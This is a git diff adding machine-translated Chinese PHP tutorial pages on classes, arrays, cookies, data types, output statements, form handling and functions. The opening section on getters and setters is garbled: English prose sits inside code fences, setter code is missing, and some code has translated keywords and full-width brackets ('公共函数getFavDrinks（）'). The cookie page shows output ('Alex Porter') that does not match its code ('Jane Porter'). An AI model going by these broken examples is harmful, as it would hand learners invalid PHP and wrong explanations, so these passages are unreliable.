+但是，如果我们想让某些事情对这个男人保密呢？也许他不希望每个人都知道他的年龄......或者......也许他只想让某些人知道他最喜欢的饮料。我们可以通过将这些属性的可见性从公共更改为受保护甚至私有来实现。
+
+公共属性可以在课堂内外的任何地方访问。
+
+受保护的属性可在类内部和子类中访问。
+
+私有属性具有与protected相同的可见性，除非子类无法访问它们。
+
+我们将讨论继承一个类的问题。现在，让我们尝试在Man类中设置age protected和favorite\_drinks private。
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    // 1. Declare the variables 
+    public $name; 
+    protected $age; 
+    public $height; 
+    public $fav_sports; 
+    private $fav_drinks; 
+    ..... 
+    ..... 
+```
+
+现在，如果您尝试实例化该类并调用age和fav\_drinks，则会出现错误。
+
+```php
+<?php 
+ $jack = new Man('Jack', 30, '6 feet'); 
+ 
+ echo $jack->age; 
+ // Fatal error:  Cannot access protected property Man::$age 
+ 
+ print_r($jack->fav_drinks); 
+ // Fatal error:  Cannot access private property Man::$fav_drinks 
+```
+
+### SETTERS和GETTERS
+
+现在我们已经保护了杰克的年龄和最喜欢的饮料，我们如何准确地访问它们并更新它们？
+
+要获取受保护的属性或私有属性，我们需要在Man类中创建这样的getter方法（请注意，这是一个具有public可见性的类方法）。
+
+```php
+<?php 
+ public function getAge() 
+ { 
+    return $this->age; 
+ } 
+```
+
+现在，我们可以通过调用此方法轻松获得Jack的年龄：
+
+```php
+<?php 
+ echo $jack->getAge(); 
+ 
+ Jack just realized he turned 31 last week, how do we update his age? Can't we just do this? 
+```
+
+PHP
+```
+Since age property is protected, we cannot access it directly outside the class whether to read it or update it. You will get a fatal error. 
+ 
+ `Fatal error:  Cannot access protected property Man::$age` 
+ 
+ In order to update a protected/private property, we need to create a setter method inside the class with public visibility. 
+```
+
+PHP
+```
+Now we can easily update Jack's age by just calling this setter method: 
+```
+
+PHP
+
+echo $ jack-> getAge（）; // 31
+```
+We can also create setter and getter class methods for fav_drinks. Note that we have made the parameter for setFavDrinks optional. So, if you don't pass an array to setFavDrinks, it will default to an empty array. 
+```
+
+PHP
+
+公共函数getFavDrinks（） { return $ this-> fav\_drinks; }
+```
+To set Jack's fav_drinks: 
+```
+
+PHP
+
+要获得Jack的fav\_drinks：
+
+```php
+<?php 
+ echo json_encode($jack->getFavDrinks()); 
+ // ["coffee","green tea"] 
+```
+
+这种实现和使用类方法来检索和更新类属性的方法称为面向对象编程中的封装。我们还可以设置类方法的可见性，就像我们为类属性所做的那样。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/operators/index.md b/client/src/guide/chinese/php/operators/index.md
new file mode 100644
index 0000000000..b45ee2c816
--- /dev/null
+++ b/client/src/guide/chinese/php/operators/index.md
@@ -0,0 +1,13 @@
+---
+title: Operators
+localeTitle: 运营商
+---
+## 运营商
+
+PHP包含了人们期望在编程语言中找到的所有普通运算符。
+
+单个“=”用作赋值运算符，双“==”或三个“===”用于比较。
+
+通常的“<”和“>”也可以用于比较，“+ =”可以用来添加值并同时分配它。
+
+最值得注意的是使用“。”来连接字符串，使用“。=”将一个字符串附加到另一个字符串的末尾。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-array/index.md b/client/src/guide/chinese/php/php-array/index.md
new file mode 100644
index 0000000000..b342cd49c0
--- /dev/null
+++ b/client/src/guide/chinese/php/php-array/index.md
@@ -0,0 +1,165 @@
+---
+title: Php Arrays
+localeTitle: Php阵列
+---
+数组是一种数据结构，它将一个或多个相似类型的值存储在单个值中。例如，如果要存储100个数字，而不是定义100个变量，则很容易定义100个长度的数组。
+
+有三种不同类型的数组，每个数组值使用ID c访问，ID c称为数组索引。
+
+数值数组 - 具有数字索引的数组。以线性方式存储和访问值。
+
+关联数组 - 以字符串作为索引的数组。这将元素值与键值相关联而不是以严格的线性索引顺序存储。
+
+多维数组 - 使用多个索引访问包含一个或多个数组和值的数组
+
+注 - 内置数组函数在函数参考PHP数组函数中给出
+
+### 数字数组
+
+这些数组可以存储数字，字符串和任何对象，但它们的索引将由数字表示。默认情况下，数组索引从零开始。
+
+#### 例
+
+以下是显示如何创建和访问数字数组的示例。
+
+这里我们使用array（）函数来创建数组。该功能在功能参考中说明。
+```
+<html> 
+   <body> 
+ 
+      <?php 
+         /* First method to create array. */ 
+         $numbers = array( 1, 2, 3, 4, 5); 
+ 
+         foreach( $numbers as $value ) { 
+            echo "Value is $value <br />"; 
+         } 
+ 
+         /* Second method to create array. */ 
+         $numbers[0] = "one"; 
+         $numbers[1] = "two"; 
+         $numbers[2] = "three"; 
+         $numbers[3] = "four"; 
+         $numbers[4] = "five"; 
+ 
+         foreach( $numbers as $value ) { 
+            echo "Value is $value <br />"; 
+         } 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将产生以下结果 -
+```
+Value is 1 
+ Value is 2 
+ Value is 3 
+ Value is 4 
+ Value is 5 
+ Value is one 
+ Value is two 
+ Value is three 
+ Value is four 
+ Value is five 
+```
+
+### 关联数组
+
+关联数组在功能方面与数字数组非常相似，但它们的索引不同。关联数组将其索引作为字符串，以便您可以在键和值之间建立强关联。
+
+要将员工的工资存储在数组中，数字索引的数组将不是最佳选择。相反，我们可以使用员工姓名作为关联数组中的键，值将是他们各自的薪水。
+
+注意 - 打印时不要将关联数组保留在双引号内，否则不会返回任何值。
+```
+Example 
+ <html> 
+   <body> 
+ 
+      <?php 
+         /* First method to associate create array. */ 
+         $salaries = array("mohammad" => 2000, "qadir" => 1000, "zara" => 500); 
+ 
+         echo "Salary of mohammad is ". $salaries['mohammad'] . "<br />"; 
+         echo "Salary of qadir is ".  $salaries['qadir']. "<br />"; 
+         echo "Salary of zara is ".  $salaries['zara']. "<br />"; 
+ 
+         /* Second method to create array. */ 
+         $salaries['mohammad'] = "high"; 
+         $salaries['qadir'] = "medium"; 
+         $salaries['zara'] = "low"; 
+ 
+         echo "Salary of mohammad is ". $salaries['mohammad'] . "<br />"; 
+         echo "Salary of qadir is ".  $salaries['qadir']. "<br />"; 
+         echo "Salary of zara is ".  $salaries['zara']. "<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将产生以下结果 -
+```
+Salary of mohammad is 2000 
+ Salary of qadir is 1000 
+ Salary of zara is 500 
+ Salary of mohammad is high 
+ Salary of qadir is medium 
+ Salary of zara is low 
+```
+
+### 多维数组
+
+多维数组主阵列中的每个元素也可以是一个数组。子数组中的每个元素都可以是数组，依此类推。使用多个索引访问多维数组中的值。
+
+例 在这个例子中，我们创建了一个二维数组，用于存储三个学科中三个学生的标记 -
+
+此示例是关联数组，您可以以相同的方式创建数字数组。
+```
+<html> 
+   <body> 
+ 
+      <?php 
+         $marks = array( 
+            "mohammad" => array ( 
+               "physics" => 35, 
+               "maths" => 30, 
+               "chemistry" => 39 
+            ), 
+ 
+            "qadir" => array ( 
+               "physics" => 30, 
+               "maths" => 32, 
+               "chemistry" => 29 
+            ), 
+ 
+            "zara" => array ( 
+               "physics" => 31, 
+               "maths" => 22, 
+               "chemistry" => 39 
+            ) 
+         ); 
+ 
+         /* Accessing multi-dimensional array values */ 
+         echo "Marks for mohammad in physics : " ; 
+         echo $marks['mohammad']['physics'] . "<br />"; 
+ 
+         echo "Marks for qadir in maths : "; 
+         echo $marks['qadir']['maths'] . "<br />"; 
+ 
+         echo "Marks for zara in chemistry : " ; 
+         echo $marks['zara']['chemistry'] . "<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将产生以下结果 -
+```
+Marks for mohammad in physics : 35 
+ Marks for qadir in maths : 32 
+ Marks for zara in chemistry : 39 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-cookies/index.md b/client/src/guide/chinese/php/php-cookies/index.md
new file mode 100644
index 0000000000..b035a3a46c
--- /dev/null
+++ b/client/src/guide/chinese/php/php-cookies/index.md
@@ -0,0 +1,110 @@
+---
+title: PHP Cookies
+localeTitle: PHP Cookies
+---
+# PHP COOKIES
+
+## 什么是Cookie？
+
+Cookie通常用于标识用户。它是服务器嵌入用户计算机的小文件。 每次同一台计算机通过浏览器请求页面时，它也会发送cookie。  
+Cookie旨在成为记住有状态信息或记录用户浏览活动的可靠机制。  
+它们还可用于记住用户先前在表单字段（如姓名，地址，密码等）中输入的任意信息。
+
+## 使用PHP创建Cookie
+
+使用PHP，您可以创建和检索cookie值。 使用setcookie（）函数创建cookie。
+
+`setcookie(name, value, expire, path, domain, secure, httponly);`
+
+只有_name_参数是必需参数。所有其他参数都是可选的。
+
+## PHP创建/检索Cookie
+
+以下示例创建名为“user”的cookie，其值为“John Doe”。  
+Cookie将在30天后（86400 \* 30）过期。  
+“/”表示cookie在整个网站中可用（否则，您可以选择您喜欢的目录）。  
+然后我们检索cookie“user”的值（使用全局变量$ \_COOKIE）。  
+我们还使用isset（）函数来确定cookie是否已设置：
+
+**例：**
+```
+<?php 
+ $cookie_name = "user"; 
+ $cookie_value = "John Doe"; 
+ setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");  // 86400 = 1 day 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ if(!isset($_COOKIE[$cookie_name])) { 
+    echo "Cookie named '" . $cookie_name . "' is not set!"; 
+ } else { 
+    echo "Cookie '" . $cookie_name . "' is set!<br>"; 
+    echo "Value is: " . $_COOKIE[$cookie_name]; 
+ } 
+ ?> 
+ </body> 
+ </html> 
+```
+
+**注意：** setcookie（）函数必须出现**在。之前** 标签。
+
+输出：  
+Cookie'用户'已设置！  
+价值是：John Doe
+
+## PHP修改Cookie值
+
+要修改cookie，只需使用setcookie（）函数再次设置该值：
+
+**例：**
+```
+<?php 
+ $cookie_name = "user"; 
+ $cookie_value = "Jane Porter"; 
+ setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ if(!isset($_COOKIE[$cookie_name])) { 
+    echo "Cookie named '" . $cookie_name . "' is not set!"; 
+ } else { 
+    echo "Cookie '" . $cookie_name . "' is set!<br>"; 
+    echo "Value is: " . $_COOKIE[$cookie_name]; 
+ } 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+输出：  
+Cookie'用户'已设置！  
+价值观是：Alex Porter
+
+## PHP删除Cookie
+
+要删除cookie，请使用过去有过期日期的setcookie（）函数：
+
+**例：**
+```
+<?php 
+ // set the expiration date to one hour ago 
+ setcookie("user", "", time() - 3600); 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ echo "Cookie 'user' is deleted."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+输出：  
+Cookie'用户'已删除。
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-data-types/index.md b/client/src/guide/chinese/php/php-data-types/index.md
new file mode 100644
index 0000000000..1994177f95
--- /dev/null
+++ b/client/src/guide/chinese/php/php-data-types/index.md
@@ -0,0 +1,104 @@
+---
+title: PHP Data Types
+localeTitle: PHP数据类型
+---
+# PHP数据类型
+
+变量可以存储不同类型的数据，例如：
+
+*   字符串（“你好”）
+*   整数（5）
+*   浮动（也称为双）（1.0）
+*   布尔值（1或0）
+*   数组（数组（“我”，“是”，“一个”，“数组”））
+*   目的
+*   空值
+*   资源
+
+## PHP字符串
+
+字符串是一系列字符。它可以是引号内的任何文本（单引号或双引号）：
+
+#### 例
+```
+$x = "Hello!"; 
+ $y = 'Hello!'; 
+```
+
+## PHP整数
+
+整数数据类型是-2,147,483,648和2,147,483,647之间的非十进制数。
+
+整数规则：
+
+*   整数必须至少有一位数
+*   整数不能有小数点
+*   整数可以是正数也可以是负数
+*   整数可以用三种格式指定：十进制（基于10），十六进制（基于16的 - 带前缀的0x）或八进制（基于8的 - 带前缀0）
+
+#### 例
+
+`$x = 5;`
+
+## PHP Float
+
+浮点数（浮点数）是带小数点的数字或指数形式的数字。
+
+#### 例
+
+`$x = 5.01;`
+
+## PHP布尔值
+
+布尔表示两种可能的状态：TRUE或FALSE。布尔值通常用于条件测试。
+```
+$x = true; 
+ $y = false; 
+```
+
+## PHP数组
+
+数组在一个变量中存储多个值。
+
+`$colours = array("Blue","Purple","Pink");`
+
+## PHP NULL值
+
+Null是一种特殊数据类型，只能有一个值：NULL。  
+数据类型为NULL的变量是没有赋值的变量。  
+也可以通过将值设置为NULL来清空变量。
+
+**注意：**如果创建的变量没有值，则会自动为其指定值NULL。
+```
+<?php 
+ $x = "Hello world!"; 
+ $x = null; 
+ ?> 
+```
+
+输出：  
+空值
+
+## PHP对象
+
+对象是一种数据类型，用于存储有关如何处理该数据的数据和信息。  
+在PHP中，必须显式声明一个对象。  
+首先，我们必须声明一类对象。类是可以包含属性和方法的结构。
+
+**例：**
+```
+<?php 
+ class Car { 
+    function Car() { 
+        $this->model = "VW"; 
+    } 
+ } 
+ 
+ // create an object 
+ $herbie = new Car(); 
+ 
+ // show object properties 
+ echo $herbie->model; 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-echo-print/index.md b/client/src/guide/chinese/php/php-echo-print/index.md
new file mode 100644
index 0000000000..71ef5397b8
--- /dev/null
+++ b/client/src/guide/chinese/php/php-echo-print/index.md
@@ -0,0 +1,89 @@
+---
+title: PHP 5 echo and print Statements
+localeTitle: PHP 5回显和打印语句
+---
+在PHP中，有两种基本的输出方式：echo和print。
+
+在本教程中，我们几乎在每个示例中都使用echo（和pr​​int）。因此，本章包含有关这两个输出语句的更多信息。
+
+### PHP回显和打印语句
+
+回声和打印或多或少相同。它们都用于将数据输出到屏幕。
+
+差异很小：echo没有返回值，而print的返回值为1，因此可以在表达式中使用。 echo可以采用多个参数（虽然这种用法很少见），而print可以采用一个参数。回声比打印快一点。
+
+### PHP echo语句
+
+echo语句可以带括号或不带括号使用：echo或echo（）。
+
+#### 显示文字
+
+以下示例显示如何使用echo命令输出文本（请注意文本可以包含HTML标记）：
+
+#### 例
+
+```php
+<?php 
+ echo "<h2>PHP is Fun!</h2>"; 
+ echo "Hello world!<br>"; 
+ echo "I'm about to learn PHP!<br>"; 
+ echo "This ", "string ", "was ", "made ", "with multiple parameters."; 
+ ?> 
+```
+
+#### 显示变量
+
+以下示例显示如何使用echo语句输出文本和变量：
+
+#### 例
+
+```php
+<?php 
+ $txt1 = "Learn PHP"; 
+ $txt2 = "W3Schools.com"; 
+ $x = 5; 
+ $y = 4; 
+ 
+ echo "<h2>" . $txt1 . "</h2>"; 
+ echo "Study PHP at " . $txt2 . "<br>"; 
+ echo $x + $y; 
+ ?> 
+```
+
+### PHP打印声明
+
+print语句可以带括号或不带括号使用：print或print（）。
+
+#### 显示文字
+
+以下示例显示如何使用print命令输出文本（请注意文本可以包含HTML标记）：
+
+#### 例
+
+```php
+<?php 
+ print "<h2>PHP is Fun!</h2>"; 
+ print "Hello world!<br>"; 
+ print "I'm about to learn PHP!"; 
+ ?> 
+```
+
+#### 显示变量
+
+以下示例显示如何使用print语句输出文本和变量：
+
+#### 例
+
+```php
+<?php 
+ $txt1 = "Learn PHP"; 
+ $txt2 = "W3Schools.com"; 
+ $x = 5; 
+ $y = 4; 
+ 
+ print "<h2>" . $txt1 . "</h2>"; 
+ print "Study PHP at " . $txt2 . "<br>"; 
+ print $x + $y; 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-expressions/index.md b/client/src/guide/chinese/php/php-expressions/index.md
new file mode 100644
index 0000000000..e259296bd2
--- /dev/null
+++ b/client/src/guide/chinese/php/php-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: PHP Expressions
+localeTitle: PHP表达式
+---
+## PHP表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-expressions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-form-handling/index.md b/client/src/guide/chinese/php/php-form-handling/index.md
new file mode 100644
index 0000000000..04d484a5c7
--- /dev/null
+++ b/client/src/guide/chinese/php/php-form-handling/index.md
@@ -0,0 +1,113 @@
+---
+title: PHP 5 Form Handling
+localeTitle: PHP 5表单处理
+---
+PHP superglobals $ _GET和$_ POST用于收集表单数据。
+
+### PHP - 一个简单的HTML表单
+
+下面的示例显示了一个包含两个输入字段和一个提交按钮的简单HTML表单：
+
+#### 例
+
+```php
+<html> 
+ <body> 
+ 
+ <form action="welcome.php" method="post"> 
+ Name: <input type="text" name="name"><br> 
+ E-mail: <input type="text" name="email"><br> 
+ <input type="submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+```
+
+当用户填写上面的表单并单击提交按钮时，表单数据将被发送到名为“welcome.php”的PHP文件进行处理。表单数据使用HTTP POST方法发送。
+
+要显示提交的数据，您可以简单地回显所有变量。 “welcome.php”看起来像这样：
+
+```php
+<html> 
+ <body> 
+ 
+ Welcome <?php echo $_POST["name"]; ?><br> 
+ Your email address is: <?php echo $_POST["email"]; ?> 
+ 
+ </body> 
+ </html> 
+```
+
+输出可能是这样的：
+```
+Welcome John 
+ Your email address is john.doe@example.com 
+```
+
+使用HTTP GET方法也可以实现相同的结果：
+
+#### 例
+
+```php
+<html> 
+ <body> 
+ 
+ <form action="welcome_get.php" method="get"> 
+ Name: <input type="text" name="name"><br> 
+ E-mail: <input type="text" name="email"><br> 
+ <input type="submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+```
+
+并且“welcome\_get.php”看起来像这样：
+
+```php
+<html> 
+ <body> 
+ 
+ Welcome <?php echo $_GET["name"]; ?><br> 
+ Your email address is: <?php echo $_GET["email"]; ?> 
+ 
+ </body> 
+ </html> 
+```
+
+上面的代码非常简单。然而，最重要的是缺少。您需要验证表单数据以保护脚本免受恶意代码的攻击。
+
+> **在处理PHP表单时考虑安全性！**
+> 
+> 此页面不包含任何表单验证，它只显示如何发送和检索表单数据。
+> 
+> 但是，接下来的页面将展示如何在考虑安全性的情况下处理PHP表单！正确验证表单数据对于保护您的表单免受黑客和垃圾邮件发送者的侵害非常重要！
+
+### GET与POST
+
+GET和POST都创建一个数组（例如array（key => value，key2 => value2，key3 => value3，...））。此数组包含键/值对，其中键是表单控件的名称，值是来自用户的输入数据。
+
+GET和POST都被视为$ _GET和$_ POST。这些是超级全局，这意味着它们始终可以访问，无论范围如何 - 您可以从任何函数，类或文件访问它们，而无需执行任何特殊操作。
+
+$ \_GET是通过URL参数传递给当前脚本的变量数组。
+
+$ \_POST是通过HTTP POST方法传递给当前脚本的变量数组。
+
+### 什么时候使用GET？
+
+使用GET方法从表单发送的信息对每个人都可见（所有变量名称和值都显示在URL中）。 GET还对要发送的信息量有限制。限制大约是2000个字符。但是，由于变量显示在URL中，因此可以为页面添加书签。在某些情况下，这可能很有用。
+
+GET可用于发送非敏感数据。
+
+**注意：**绝不应将GET用于发送密码或其他敏感信息！
+
+### 什么时候使用POST？
+
+使用POST方法从表单发送的信息**对其他人不可见** （所有名称/值都嵌入在HTTP请求的主体内），并且对要发送的信息量**没有限制** 。
+
+此外，POST支持高级功能，例如在将文件上载到服务器时支持多部分二进制输入。
+
+但是，由于变量未显示在URL中，因此无法为页面添加书签。
+
+> **开发人员更喜欢POST来发送表单数据。**
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-form-required/index.md b/client/src/guide/chinese/php/php-form-required/index.md
new file mode 100644
index 0000000000..e44ca44d3a
--- /dev/null
+++ b/client/src/guide/chinese/php/php-form-required/index.md
@@ -0,0 +1,89 @@
+---
+title: PHP 5 Forms - Required Fields
+localeTitle: PHP 5表单 - 必填字段
+---
+本章介绍如何使输入字段成为必需，并在需要时创建错误消息。
+
+### PHP - 必填字段
+
+从上一页的验证规则表中，我们看到“名称”，“电子邮件”和“性别”字段是必需的。这些字段不能为空，必须在HTML表单中填写。
+
+|字段|验证规则| | --- | --- | |名称|必填。 +必须只包含字母和空格| |电子邮件|必填。 +必须包含有效的电子邮件地址（使用@和。）| |网站|可选。如果存在，则必须包含有效的URL | |评论|可选。多行输入字段（textarea）| |性别|必需。必须选择一个|
+
+在上一章中，所有输入字段都是可选的。
+
+在下面的代码中，我们添加了一些新变量：$ nameErr，$ emailErr，$ genderErr和$ websiteErr。这些错误变量将保存必填字段的错误消息。我们还为每个$ _POST变量_添加了if else语句_。这将检查$_ POST变量是否为空（使用PHP empty（）函数）。如果为空，则会在不同的错误变量中存储错误消息，如果它不为空，则通过test\_input（）函数发送用户输入数据：
+
+```php
+<?php 
+ // define variables and set to empty values 
+ $nameErr = $emailErr = $genderErr = $websiteErr = ""; 
+ $name = $email = $gender = $comment = $website = ""; 
+ 
+ if ($_SERVER["REQUEST_METHOD"] == "POST") { 
+  if (empty($_POST["name"])) { 
+    $nameErr = "Name is required"; 
+  } else { 
+    $name = test_input($_POST["name"]); 
+  } 
+ 
+  if (empty($_POST["email"])) { 
+    $emailErr = "Email is required"; 
+  } else { 
+    $email = test_input($_POST["email"]); 
+  } 
+ 
+  if (empty($_POST["website"])) { 
+    $website = ""; 
+  } else { 
+    $website = test_input($_POST["website"]); 
+  } 
+ 
+  if (empty($_POST["comment"])) { 
+    $comment = ""; 
+  } else { 
+    $comment = test_input($_POST["comment"]); 
+  } 
+ 
+  if (empty($_POST["gender"])) { 
+    $genderErr = "Gender is required"; 
+  } else { 
+    $gender = test_input($_POST["gender"]); 
+  } 
+ } 
+ ?> 
+```
+
+### PHP - 显示错误消息
+
+然后在HTML表单中，我们在每个必填字段后添加一个小脚本，如果需要，会生成正确的错误消息（即如果用户尝试提交表单而不填写必填字段）：
+
+#### 例
+
+```php
+<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> 
+ 
+ Name: <input type="text" name="name"> 
+ <span class="error">* <?php echo $nameErr;?></span> 
+ <br><br> 
+ E-mail: 
+ <input type="text" name="email"> 
+ <span class="error">* <?php echo $emailErr;?></span> 
+ <br><br> 
+ Website: 
+ <input type="text" name="website"> 
+ <span class="error"><?php echo $websiteErr;?></span> 
+ <br><br> 
+ Comment: <textarea name="comment" rows="5" cols="40"></textarea> 
+ <br><br> 
+ Gender: 
+ <input type="radio" name="gender" value="female">Female 
+ <input type="radio" name="gender" value="male">Male 
+ <span class="error">* <?php echo $genderErr;?></span> 
+ <br><br> 
+ <input type="submit" name="submit" value="Submit"> 
+ 
+ </form> 
+```
+
+下一步是验证输入数据，即“名称字段是否仅包含字母和空格？”和“电子邮件字段是否包含有效的电子邮件地址语法？”，如果填写完毕，“网站字段是否包含有效的URL？“
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-forms-url-email/index.md b/client/src/guide/chinese/php/php-forms-url-email/index.md
new file mode 100644
index 0000000000..8002fa1a9c
--- /dev/null
+++ b/client/src/guide/chinese/php/php-forms-url-email/index.md
@@ -0,0 +1,101 @@
+---
+title: PHP 5 Forms - Validate E-mail and URL
+localeTitle: PHP 5表单 - 验证电子邮件和URL
+---
+本章介绍如何验证名称，电子邮件和URL。
+
+### PHP - 验证名称
+
+下面的代码显示了一种检查名称字段是否只包含字母和空格的简单方法。如果name字段的值无效，则存储错误消息：
+
+```php
+$name = test_input($_POST["name"]); 
+ if (!preg_match("/^[a-zA-Z ]*$/",$name)) { 
+  $nameErr = "Only letters and white space allowed"; 
+ } 
+```
+
+> **preg\_match（）函数在字符串中搜索pattern，如果模式存在则返回true，否则返回false。**
+
+### PHP - 验证电子邮件
+
+检查电子邮件地址是否格式正确的最简单，最安全的方法是使用PHP的filter\_var（）函数。
+
+在下面的代码中，如果电子邮件地址格式不正确，则存储错误消息：
+
+```php
+$email = test_input($_POST["email"]); 
+ if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
+  $emailErr = "Invalid email format"; 
+ } 
+```
+
+### PHP - 验证URL
+
+下面的代码显示了一种检查URL地址语法是否有效的方法（此正则表达式也允许URL中的破折号）。如果URL地址语法无效，则存储错误消息：
+
+```php
+$website = test_input($_POST["website"]); 
+ if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { 
+  $websiteErr = "Invalid URL"; 
+ } 
+```
+
+### PHP - 验证名称，电子邮件和URL
+
+现在，脚本看起来像这样：
+
+#### 例
+
+```php
+<?php 
+ // define variables and set to empty values 
+ $nameErr = $emailErr = $genderErr = $websiteErr = ""; 
+ $name = $email = $gender = $comment = $website = ""; 
+ 
+ if ($_SERVER["REQUEST_METHOD"] == "POST") { 
+  if (empty($_POST["name"])) { 
+    $nameErr = "Name is required"; 
+  } else { 
+    $name = test_input($_POST["name"]); 
+    // check if name only contains letters and whitespace 
+    if (!preg_match("/^[a-zA-Z ]*$/",$name)) { 
+      $nameErr = "Only letters and white space allowed"; 
+    } 
+  } 
+ 
+  if (empty($_POST["email"])) { 
+    $emailErr = "Email is required"; 
+  } else { 
+    $email = test_input($_POST["email"]); 
+    // check if e-mail address is well-formed 
+    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
+      $emailErr = "Invalid email format"; 
+    } 
+  } 
+ 
+  if (empty($_POST["website"])) { 
+    $website = ""; 
+  } else { 
+    $website = test_input($_POST["website"]); 
+    // check if URL address syntax is valid (this regular expression also allows dashes in the URL) 
+    if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { 
+      $websiteErr = "Invalid URL"; 
+    } 
+  } 
+ 
+  if (empty($_POST["comment"])) { 
+    $comment = ""; 
+  } else { 
+    $comment = test_input($_POST["comment"]); 
+  } 
+ 
+  if (empty($_POST["gender"])) { 
+    $genderErr = "Gender is required"; 
+  } else { 
+    $gender = test_input($_POST["gender"]); 
+  } 
+ } 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/php/php-functions/index.md b/client/src/guide/chinese/php/php-functions/index.md
new file mode 100644
index 0000000000..e899a5a223
--- /dev/null
+++ b/client/src/guide/chinese/php/php-functions/index.md
@@ -0,0 +1,218 @@
+---
+title: PHP functions
+localeTitle: PHP函数
+---
+PHP函数与其他编程语言类似。函数是一段代码，它以参数的形式接受另一个输入，并进行一些处理并返回一个值。
+
+您已经看过许多函数，如fopen（）和fread（）等。它们是内置函数，但PHP也为您提供了创建自己的函数的选项。
+
+有两个部分应该清楚 -
+
+### 创建PHP函数
+
+调用PHP函数 实际上你几乎不需要创建自己的PHP函数，因为已经有超过1000个为不同区域创建的内置库函数，你只需要根据你的要求调用它们。
+
+有关一组完整的有用功能，请参阅PHP函数参考。
+
+创建PHP函数 它很容易创建自己的PHP函数。假设您要创建一个PHP函数，只需在您调用它时在浏览器上写一条简单的消息。下面的示例创建一个名为writeMessage（）的函数，然后在创建它之后立即调用它。
+
+请注意，在创建函数时，其名称应以关键字函数开头，并且所有PHP代码都应放在{和}大括号内，如下面的示例所示 -
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         /* Defining a PHP Function */ 
+         function writeMessage() { 
+            echo "You are really a nice person, Have a nice time!"; 
+         } 
+ 
+         /* Calling a PHP Function */ 
+         writeMessage(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将显示以下结果 -
+```
+You are really a nice person, Have a nice time! 
+```
+
+### 带参数的PHP函数
+
+PHP为您提供了在函数内传递参数的选项。你可以传递尽可能多的参数。这些参数与函数内的变量类似。以下示例采用两个整数参数并将它们一起添加然后打印它们。
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function with Parameters</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFunction($num1, $num2) { 
+            $sum = $num1 + $num2; 
+            echo "Sum of the two numbers is : $sum"; 
+         } 
+ 
+         addFunction(10, 20); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将显示以下结果 -
+```
+Sum of the two numbers is : 30 
+```
+
+### 通过引用传递参数
+
+可以通过引用将参数传递给函数。这意味着函数操作对变量的引用而不是变量值的副本。
+
+在这些情况下对参数所做的任何更改都将更改原始变量的值。您可以通过在函数调用或函数定义中向变量名称添加＆符来通过引用传递参数。
+
+以下示例描述了两种情况。
+```
+<html> 
+ 
+   <head> 
+      <title>Passing Argument by Reference</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFive($num) { 
+            $num += 5; 
+         } 
+ 
+         function addSix(&$num) { 
+            $num += 6; 
+         } 
+ 
+         $orignum = 10; 
+         addFive( $orignum ); 
+ 
+         echo "Original Value is $orignum<br />"; 
+ 
+         addSix( $orignum ); 
+         echo "Original Value is $orignum<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将显示以下结果 -
+```
+Original Value is 10 
+ Original Value is 16 
+```
+
+### PHP函数返回值
+
+函数可以使用return语句结合值或对象返回值。 return停止执行函数并将值发送回调用代码。
+
+您可以使用返回数组（1,2,3,4）从函数返回多个值。
+
+下面的示例采用两个整数参数并将它们一起添加，然后将它们的总和返回给调用程序。请注意，return关键字用于从函数返回值。
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function which returns value</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFunction($num1, $num2) { 
+            $sum = $num1 + $num2; 
+            return $sum; 
+         } 
+         $return_value = addFunction(10, 20); 
+ 
+         echo "Returned value from the function : $return_value"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+这将显示以下结果 -
+```
+Returned value from the function : 30 
+```
+
+### 设置功能参数的默认值
+
+如果函数的调用者未传递参数，则可以将参数设置为具有默认值。
+
